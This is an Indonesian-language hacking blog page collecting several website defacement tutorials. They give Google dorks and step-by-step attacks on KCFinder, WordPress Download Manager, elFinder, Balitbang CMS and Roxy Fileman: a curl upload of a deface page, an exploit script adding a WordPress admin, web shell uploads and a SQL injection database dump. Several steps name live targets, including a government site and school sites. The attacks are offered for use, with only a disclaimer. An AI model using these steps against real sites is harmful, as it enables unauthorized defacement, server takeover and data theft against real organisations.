• Live Draw SGP
  • Live Draw Macau

    • Kategori: Tutorial Deface

    KCFinder Upload Script Deface di Terminal dengan cURL

    Deface, New, Plugins, Terminal, Tutorial Deface
    Comments

    Naufal Ardhani – Hallo gaesss udah jarang jarang nih gua nulis di blog ini dan sekarang lagi pengen banget ngepost artikel di blog tapi masalahnya gua bingung mau nulis apa, dan tiba tiba aja kepikiran nulis Tutorial Deface POC KCFinder di Terminal dengan cURL.

    • Apa itu Kcfinder?
         KCFinder adalah salah satu plugin populer untuk web file management yang biasa diintegrasikan dengan editor tinymce, ckeditor dan masih banyak lagi yang biasa digunakan oleh para web master. Celah keamanan ini bahkan sampai di versi yang paling baru. Cek di http://kcfinder.sunhater.com untuk lihat. Sebenarnya ini bukanlah hal yang baru, tapi sebagian admin yang jarang update info banyak juga yang kena batunya. Saya sendiri masih mendapati beberapa instansi pemerintah, lembaga pendidikan, perusahaan dalam negeri yang berpotensi diserang dengan bug ini.
    • Apa itu cURL?
        cURL adalah proyek perangkat lunak komputer yang menyediakan pustaka dan alat baris perintah untuk mentransfer data menggunakan berbagai protokol.

    Silahkan baca juga jika ingin lebih tau Upload File dengan cURL di Terminal.


    Oke langsung aja ke Tutorialnya,,,, sebelum ke mengikuti Step siapkan dulu bahan yang diperlukan,

    Bahan :
    • Script Deface ( Simpan di Directory Desktop ) ( Simpan dengan nama index.shtml )
    • Terminal / CMD 
    Tested :
    • MAC OS X Yosemite
    Step :
    1. Buka Terminalnya, ketik “cd Desktop” tanpa tanda petik.
    2. lalu ketik “curl -F ‘Filedata[email protected]’ https://site.com/[path]/kcfinder/upload.php / link“, Tapi disini target saya sudah ada seperti berikut “curl -F “[email protected]” http://seribuguru.org/assets/kcfinder/upload.php”
    3. Berhasil atau tidak? silahkan cek webnya dengan tambahkan /files/ setelah /kcfinder/upload/, Contoh : http://seribuguru.org/assets/kcfinder/upload/files/index.shtml.
    Sekian saja tutorial kali ini semoga sedikit bermanfaat ilmunya untuk menjadi Security Hunter :v

    Exploit WordPress Download Manager Remote Code Execution Vulnerability (WordPress Add Admin)

    Python, Remote Code Execution, Tools, Tutorial, Tutorial Deface
    Comments

    Naufal Ardhani – Halo gaes dah lama ga update artikel nihh kali ini saya bakal bagiin Exploit WordPress Download Manager Remote Code Execution Vulnerability (WordPress Add Admin), Cocok banget buat Defacer yang suka deface CMS WordPress Exploit ini cukup mudah tapi cari targetnya yang males karna saya gasuka dorking -_- jadi ditutorial ini gapake livetarget dulu.

    Sebelumnya bagi anda yang belum tau apa itu Remote Code Execution simak sedikit penjelasan dibawah,

    Remote Code Execution (RCE) adalah bug yg memungkinkan attacker untuk menjalankan command2 secara remote melalui url. Bug ini biasanya terdapat pada aplikasi yg mnggunakan cgi.  ( Sumber : FACEBOOK )

    Bahan :

     Dork :

    • index of “download-manager”
    • index of “download-manager” inurl:/wp
    • index of “download-manager” inurl:/wordpress/


    Step :

    1. Buka Terminal anda
    2. Open ke Directory dimana anda menyimpan Exploiternya ( kalau saya di Documents/doc/tools ) jadi commandnya : cd Documents/doc/tools/

    3. Sudah ketemu exploiter.py nya lalu jalankan dengan command : python exploiter.py

    4.  Jika sudah mendapatkan taget langsung saja eksekusi dengan command : python exploiter.py -t http://www.site-target.com
    SEKEDAR GAMBARAN JIKA BERHASIL

    [!] Account Added
    [!] Location: http://10.0.0.67/wordpress/wp-login.php
    [!] Username: r7Uo4v
    [!] Password: YN1G1F

    Sekian Artikel Exploit WordPress Download Manager Remote Code Execution Vulnerability (WordPress Add Admin)

    Tutorial Deface elFinder + Upload Shell

    Deface, Exploit, Hacking, Tutorial Deface, Upload Shell
    Comments

    Naufal Ardhani – Hallo gaess kali ini gua bakal bagiin Tutorial Deface elFinder + Upload Shell, Exploit ini sudah cukup lama ya tapi masih ada aja website yang masih vuln dengan exploit ini :v
    dan pas gua lagi Pentest web http://labuankec.pandeglangkab.go.id/ gua nemuin directory /elFinder/ dan langsung aja gua upload shell dan bugnya dah ditambel.

    Dork :

    • inurl:elfinder/elfinder.php.html ( dork kembangin lagi ya biar dapet yang vuln )
    Exploit :
    • www.site.com/[path]/elfinder/elfinder.php.html
    Live Target : http://labuankec.pandeglangkab.go.id/
    Step :
    1. Dorking di google, pilih target dan kasih exploit satu satu
    2. dan Disini gua pake Live Target dan beri exploitnya : https://labuankec.pandeglangkab.go.id/SysAdminBasTek/scripts/elfinder/elfinder.php.html

    3. Langsung aja Upload Shell dengan ekstensi .phtml 
    4. lalu Akses deh Shellnya di www.site.com/[path]/elfinder/files/oxy.phtml
    Sekian Tutorial Deface elFinder + Upload Shell semoga bermanfaat ilmunya.
    nb : saya tidak bertanggung jawab atas apa yang kalian telah lakukan karna saya hanya membagikan ilmu untuk membantu admin web :3

    Tutorial Dump Database CMS Balitbang dengan Mudah

    Balitbang, Deface, php, SQL INJECTION, Tools, Tutorial Deface
    Comments

    Naufal Ardhani – Hallo gaes kali ini gua bakal bagiin ke-kalian Tutorial Dump Database CMS Balitbang dengan Mudah, Kenapa mudah? ya karna ini inject databasenya pake tools jadi gaperlu manual lagi hehe dan target web yang pake cms balitbang masih banyak yg bisa di inject.

    Bahan yang diperlukan :

    • Tools ( KLIK INI )
    • Akses Shell ( untuk upload tools ini )
    • Google Dork ( inurl:/html/index.php site:sch.id )
    Step :
    1. dorking target dulu.
    2. masukan url target yang sudah didapatkan.
    3. langsung klik inject ( dios sudah otomatis ada )

    Jika berhasil akan muncul outputnya

    Sekian Tutorial Dump Database CMS Balitbang dengan Mudah semoga bermanfaat yaaa.

    Tutorial Cara Deface Metode Effi File Manager Upload Shell Vulnerability

    Hacking, Tutorial, Tutorial Deface, Tutorial Internet
    Comments

    Tutorial Cara Deface Metode Effi File Manager – Hai guys kali ini saya ingin memberitahu tentang Tutorial Cara Deface Metode Effi File Manager Upload Shell kalau kalian belom pernah coba poc yang satu ini akan sedikit membuat bingung karna target memakai windows server hehe, kalo udah master lewat aja jangan bully.

    Yang Dibutuhkan :

    1. ASPX Shell ( khusus untuk windows server ) | Jika belom ada Download disini.
    2. Google Dork dan Exploit
    3. Pc / Android
    4. Kalem Terosss :v
    Dork :
    • inurl:jquery.tinymce.roxy.fileman ( kembangkan lagi )
    Exploit : 
    • /jquery.tinymce.roxy.fileman/
    Step :
    1. Dorking dulu webnya, jika sudah pilih salah satu.
    2. kasih exploit, contoh : www.site.com/jquery.tinymce.roxy.fileman/ s
    3. Lalu Upload Shellnya, misal : shell.aspx, tunggu sampai 100% berhasil.
    4. Lalu untuk preview Shellnnya, buka www.site.com/jquery.tinymce.roxy.fileman/directory/shell.aspx 
    5. Sudah seperti gambar diatas? yaudah itu udah terserah kalian, tapi kalau saya menitip file di dir htdocs/index.htm
    Live Target : https://redoxomics.febsevents.org/
    Dibuat Oleh : ./E4OXY 

    Nb : Saya tidak bertanggung jawab jika terjadi masalah, saya disini hanya membagikan ilmu, dan gunakan sebaik baiknya 🙂